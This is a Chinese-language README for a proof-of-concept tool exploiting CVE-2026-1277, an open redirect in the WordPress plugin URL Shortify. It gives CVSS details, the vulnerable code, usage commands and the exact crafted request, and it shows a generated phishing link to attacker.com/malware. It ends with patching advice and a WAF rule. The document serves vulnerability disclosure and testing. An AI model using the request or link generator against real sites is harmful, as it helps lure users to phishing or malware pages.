概念验证(PoC) 漏洞利用程序,针对 CVE-2026-1277,即 WordPress 插件 URL Shortify(版本 <= 1.12.1)中通过
redirect_to参数触发的未认证 开放重定向 漏洞。
CVE-2026-1277 是一个 中危开放重定向 漏洞,影响 WordPress 插件 URL Shortify 直至 1.12.1(含)的版本。该插件在其促销关闭处理程序中未能验证 redirect_to 参数,使得 未认证攻击者 能够通过精心构造的链接将用户重定向到任意外部 URL。
本仓库包含一个 Python 3 PoC,它可以:
⚠️ 此漏洞需要用户交互。 受害者必须点击精心构造的链接。不会发生服务器入侵。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-1277 |
| 漏洞类型 | 开放重定向(未认证) |
| CWE | CWE-601: URL Redirection to Untrusted Site |
| CVSS v3.1 评分 | 4.7(中危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N |
| 攻击向量 | 网络 |
| 所需权限 | 无(未认证) |
| 用户交互 | 必需(受害者必须点击链接) |
| 影响 | 机密性:无 · 完整性:低 · 可用性:无 |
| 受影响组件 | 促销关闭处理程序(Promo.php)中的 redirect_to 参数 |
| 供应商 | KaizenCoders |
| 修复版本 | 1.12.2 |
AV:N — 可通过网络利用AC:L — 无需特殊条件PR:N — 无需认证UI:R — 受害者必须点击精心构造的链接S:C — 范围已改变(影响跨越信任边界)C:N/I:L/A:N — 无机密性影响,完整性影响有限,无可用性影响| 插件 | 受影响版本 | 修复于 |
|---|---|---|
| URL Shortify – Simple and Easy URL Shortener | <= 1.12.1 | 1.12.2 |
⚠️ 请立即更新至 1.12.2 或更高版本。
该漏洞存在于 Promo 类中的 handle_promotions 方法内(url-shortify/lite/includes/Promo.php,第 62-71 行)。该函数使用 esc_url_raw() 从 GET 请求中提取 redirect_to 参数,但在调用 wp_redirect() 之前 未对目标 URL 进行任何验证。
esc_url_raw() 仅对 URL 格式进行清理——它 不会 验证目标是否属于同一域名或允许列表。这使得任何外部 URL 都能通过。
// Simplified vulnerable logic
$redirect_to = esc_url_raw($_GET['redirect_to']); // Sanitized but NOT validated
wp_redirect($redirect_to); // Redirects to ANY external URL
exit;
1.12.2 版本中的修复引入了两个新方法:get_valid_redirect_to() 和 is_valid_redirect_to()。该补丁将直接调用 wp_redirect() 替换为条件检查,该检查会依据允许目标地址的白名单来验证重定向 URL。如果该 URL 不在白名单中,用户将通过 wp_safe_redirect() 被重定向到该插件的定价页面。
该白名单仅包含插件相关的内部 URL,例如定价页面、落地页以及开发者的官方域名。
这是一种客户端 / 社会工程攻击。不会发生服务器沦陷。
Attacker Victim Legitimate WP Site Attacker's Site
│ │ │ │
│ 1. Crafts malicious link │ │ │
│ (admin-ajax.php with │ │ │
│ redirect_to=evil.com) │ │ │
│───────────────────────────>│ │ │
│ │ 2. Clicks link │ │
│ │───────────────────────────>│ │
│ │ GET /wp-admin/ │ │
│ │ admin-ajax.php? │ │
│ │ action=heartbeat& │ │
│ │ redirect_to=evil.com │ │
│ │ │ │
│ │ 3. 302 Redirect │ │
│ │<───────────────────────────│ │
│ │ │ │
│ │ 4. Browser follows redirect │
│ │────────────────────────────────────────────────────>│
│ │ │
│ │ 5. Victim sees attacker's phishing page │
│ │────────────────────────────────────────────────────>│
关键点: 如果受害者不点击该链接,攻击将完全失败。
requests 库安装依赖:
pip install requests
git clone https://github.com/sadaqaty/CVE-2026-1277.git
cd CVE-2026-1277
python3 CVE-2026-1277.py -t <TARGET_URL> [OPTIONS]
| 标志 | 长格式 | 描述 |
|---|---|---|
-t | --target | 必填。 目标 WordPress 基础 URL |
--check | — | 使用 https://interact.sh 运行漏洞检查 |
-r | --redirect | 测试重定向到特定 URL |
--generate | — | 生成指向某个 URL 的钓鱼链接 |
-o | --option | 通知选项名称:welcome_offer(默认)或 bfcm_2025_offer |
-k | --insecure | 禁用 SSL 证书验证 |
快速检查目标是否存在漏洞。
python3 CVE-2026-1277.py -t http://target.com --check
预期输出(存在漏洞):
[✓] Open Redirect confirmed!
Option: welcome_offer
Redirects to: https://interact.sh
[!] Target http://target.com is VULNERABLE to CVE-2026-1277
测试重定向到您控制的特定 URL。
python3 CVE-2026-1277.py -t http://target.com -r https://evil.com/phishing
生成一个可直接分享的恶意链接。
python3 CVE-2026-1277.py -t http://target.com --generate https://attacker.com/malware
预期输出:
[+] Generated malicious link:
http://target.com/wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=welcome_offer&redirect_to=https://attacker.com/malware
[!] Share this link to redirect victims to: https://attacker.com/malware
⚠️ 此链接仅用于演示和授权测试。 请勿将其作为实际钓鱼活动的一部分进行分发。
# Basic vulnerability check
python3 CVE-2026-1277.py -t http://target.com --check
# Check with self-signed cert
python3 CVE-2026-1277.py -t https://target.local -k --check
# Test custom redirect
python3 CVE-2026-1277.py -t http://target.com -r https://my-server.com/cb
# Generate phishing link with bfcm option
python3 CVE-2026-1277.py -t http://target.com --generate https://evil.com -o bfcm_2025_offer
该 PoC 针对 WordPress AJAX 处理程序,使用以下参数:
GET /wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=welcome_offer&redirect_to=<MALICIOUS_URL>
| 参数 | 值 |
|---|---|
action | heartbeat |
kc_us_dismiss_admin_notice | 1 |
option_name | welcome_offer 或 bfcm_2025_offer |
redirect_to | 攻击者控制的 URL |
GET 请求,并在 redirect_to 中携带恶意 URL。allow_redirects=False,以便脚本能够检查原始响应。Location 头是否包含攻击者提供的 URL。allow_redirects=False?因为重定向会指向一个外部 URL。跟随该重定向既无必要,也会产生大量噪声,而且脚本必须检查原始的 Location 头,而不是最终落地页面。
--check 使用 https://interact.sh?interact.sh 是一个安全、公开的带外交互服务。它解析到一个公开端点,使测试者即使没有受控的回调服务器,也能确认重定向确实发生了。
1. 立即更新。 该漏洞已在 1.12.2 版本中修复。请通过 WordPress 管理仪表盘或 WP-CLI 进行更新:
wp plugin update url-shortify
2. 如果无法更新:
停用该插件,直到可以打补丁为止。
添加一条 WAF 规则,拒绝 redirect_to 与本地主机不匹配的请求:
# ModSecurity-style pseudo-rule
SecRule ARGS:redirect_to "!@rx ^https?://(www\.)?yourdomain\.com" \
"id:1000003,phase:2,deny,status:403,msg:'Blocked CVE-2026-1277 attempt'"
监控日志,查找指向外部域的可疑 redirect_to 值。